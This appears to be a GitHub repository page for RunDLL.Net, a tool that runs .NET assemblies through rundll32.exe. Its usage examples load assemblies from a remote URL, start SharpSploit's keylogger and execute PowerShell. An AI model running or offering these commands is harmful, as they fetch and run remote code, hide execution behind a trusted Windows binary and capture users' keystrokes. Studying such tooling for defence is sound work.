• Stars
    star
    108
  • Rank 321,259 (Top 7 %)
  • Language
    C#
  • Created over 3 years ago
  • Updated over 3 years ago

Reviews

There are no reviews yet. Be the first to send feedback to the community and the maintainers!

Repository Details

Execute .Net assemblies using Rundll32.exe

RunDLL.Net

Execute .Net assemblies using Rundll32.exe

Usage:

rundll32 Rundll.Net.dll,main <assembly> <class> <method> [(type)][arg1] [(type)][arg2]...
rundll32 Rundll.Net.dll,main C:\Program.dll MyProgram.Program DoThing "Example string" (bool)true (int)3
rundll32 Rundll.Net.dll,main http://website.com/Program.dll MyProgram.Program DoThing "Example string" (bool)true (int)3

Examples:

rundll32.exe Rundll.Net.dll,main C:\Temp\SharpSploit.dll SharpSploit.Execution.Shell PowerShellExecute "ls C:\\" (bool)true (bool)false (bool)false
rundll32.exe Rundll.Net.dll,main http://website.com/SharpSploit.dll SharpSploit.Enumeration.Keylogger StartKeylogger (int)3 

How to

To succesfully be loaded, classes and method invoked must be made public and static. DLL and EXE assemblies can be loaded.